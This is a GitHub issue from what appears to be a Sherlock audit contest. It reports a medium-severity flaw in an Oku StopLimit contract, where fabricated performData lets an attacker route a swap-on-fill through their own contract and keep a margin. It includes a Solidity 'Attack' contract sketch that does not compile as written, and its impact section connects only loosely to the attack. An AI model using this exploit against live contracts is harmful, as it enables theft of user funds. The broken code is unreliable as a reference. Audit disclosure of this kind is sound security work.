Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lone Midnight Stallion - An attacker can take some profit when create a Bracket Order from a Stop Limit Order with 'Swap-On-Fill'. #874

Open
sherlock-admin3 opened this issue Dec 9, 2024 · 0 comments

Comments

@sherlock-admin3
Copy link
Contributor

Lone Midnight Stallion

Medium

An attacker can take some profit when create a Bracket Order from a Stop Limit Order with 'Swap-On-Fill'.

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. The attacker calls the checkUpkeep function on the StopLimit contract.
  2. They manipulate the target and txData in performData to point to their own Attack contract.
contract Attack {
    address public bracketContract;
    address public masterContract;
    address public owner;

    constructor(address _bracket, address _master, address _owner) {
        bracketContract = _bracket;
        masterContract = _master;
        owner = _owner;
    }

    function attack(address tokenIn, address tokenOut, uint256 amountIn, uint256 bips) external {
        uint256 amountOut = masterContract.getMinAmountReceived(amountIn, tokenIn, tokenOut, bips) + 1;

        tokenIn.safeTransferFrom(bracketContract, address(this), amountIn);
        tokenIn.transfer(owner, amountIn);
        tokenOut.transfer(bracketContract, amountOut);

        return (true, bytes(""));
    }
}
  1. The attacker deposits an amount calculated as MASTER.getMinAmountReceived(amountIn, tokenIn, tokenOut, bips) + 1 to the tokenOut address of their Attack contract.
  2. The attacker then calls the performUpkeep function using the fabricated performData.
  3. The attacker creates a Bracket Order with a margin (where takeProfit and stopPrice are set close to the margin).

The margin represents free profit. The higher the amountIn and bips, the greater the margin (free profit).

Impact

#Stop Limit Order with 'Swap-On-Fill'
User holds 2800 USDC and creates a Stop Limit Order with a stopLimitPrice set to 2800 and swapOnFill set to true
Once this price is reached, the Stop Limit Order is filled, swapping the 2800 USDC for 1 WETH and creating a new Bracket Order. This new Bracket Order will share the same orderId as the Stop Limit Order

In this scenario, users only receive a calculated amount based on swapSlippage, even when they could receive a better token amount.

PoC

No response

Mitigation

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L40-L143
To prevent this exploit, ensure that performData is validated using keccak256.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant